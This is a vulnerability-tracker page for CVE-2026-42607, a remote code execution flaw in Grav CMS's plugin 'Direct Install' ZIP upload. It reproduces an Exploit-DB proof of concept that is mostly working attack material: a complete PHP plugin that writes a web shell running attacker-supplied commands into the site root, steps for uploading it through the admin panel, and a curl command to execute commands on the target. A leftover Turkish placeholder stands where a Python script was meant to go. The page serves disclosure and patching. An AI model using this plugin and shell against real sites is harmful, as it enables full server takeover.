CVE-2026-42607
critical
CVSS v3
9.1
CVSS v4 NEW
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VIR risk
10.0
Description
Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature
Predictions
Exploit likelihood
100%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Grav CMS 2.0.0-beta.2 - Remote Code Execution
# Exploit Title: Grav CMS < 2.0.0-beta.2 - Remote Code Execution (RCE)
# Date: 2026-05-08
# Exploit Author: Mustafa Murat Akgül
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav
# Version: < 2.0.0-beta.2
# CVE: CVE-2026-42607 / GHSA-w48r-jppp-rcfw
# Tested on: Linux/Ubuntu (Grav Admin Plugin Enabled)
Technical Details:
The Grav CMS "Direct Install" feature in the Admin plugin allows administrators
to upload plugins as ZIP files. The system failed to adequately validate the
contents of the ZIP archive or prevent path traversal (Zip Slip) during extraction.
By crafting a malicious plugin that hooks into Grav events (e.g., onPluginsInitialized),
an attacker can execute arbitrary PHP code or drop a persistent web shell on the root directory.
Proof of Concept (PoC):
1. Create a malicious plugin structure:
- shellplugin/blueprints.yaml
- shellplugin/shellplugin.yaml
- shellplugin/shellplugin.php (Payload below)
--- shellplugin.php ---
<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;
class ShellpluginPlugin extends Plugin {
public static function getSubscribedEvents(): array {
return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
}
public function onPluginsInitialized(): void {
$shell_path = GRAV_ROOT . '/shell.php';
if (!file_exists($shell_path)) {
file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
}
}
}
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2. Compress the directory:
$ zip -r shellplugin.zip shellplugin/
3. Log in to the Grav Admin panel and navigate to:
/admin/tools/direct-install
4. Upload the 'shellplugin.zip' file.
5. Once installed, the plugin triggers on the next request to the site,
dropping a shell at the root.
6. Access your shell:
curl "http://<target>/shell.php?cmd=id"
Exploit Script (Python):
[Buraya yukarıda paylaştığın Python scriptini ekleyebilirsin]
Impact:
Full system-level access under the context of the web server user. An attacker
with administrative privileges (or via CSRF) can compromise the entire server.
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| Packagist | getgrav/grav | <2.0.0-beta.2 | 2.0.0-beta.2 |
| COMPOSER | getgrav/grav | < 2.0.0-beta.2 | 2.0.0-beta.2 |
References
CWEs
CWE-94
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.